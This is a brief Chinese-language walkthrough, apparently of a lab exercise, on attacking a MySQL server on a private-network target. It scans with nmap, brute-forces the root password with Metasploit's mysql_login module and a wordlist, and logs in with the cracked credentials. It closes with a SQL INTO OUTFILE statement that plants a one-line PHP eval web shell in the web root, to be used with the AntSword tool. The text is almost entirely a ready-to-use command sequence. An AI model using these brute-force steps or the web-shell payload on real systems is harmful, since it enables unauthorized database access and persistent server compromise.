192.168.0.241 #本机IP
192.168.0.115 #靶机IP

先使用nmap工具对靶机进行扫描，发现3306端口开放，我这里用的是Windows下的zenmap工具

启动msfconsole（kali环境下自带）

search mysql_login #使用此模块
use 0
show options #查看参数

set pass_file D:/metasploit-framework/pass.txt #设置字典
set rhosts 192.168.0.115 #设置靶机地址
set username root #设置用户名
exploit #开始攻击

 

爆破出用户名root，密码123456

mysql -h 192.168.0.115 -u root -p #登录

 

如果是网站的数据库，还可以写入一句话木马，用中国蚁剑等工具连接

select '<?php @eval($_POST['a']);?>' into outfile '/var/www/shell.php';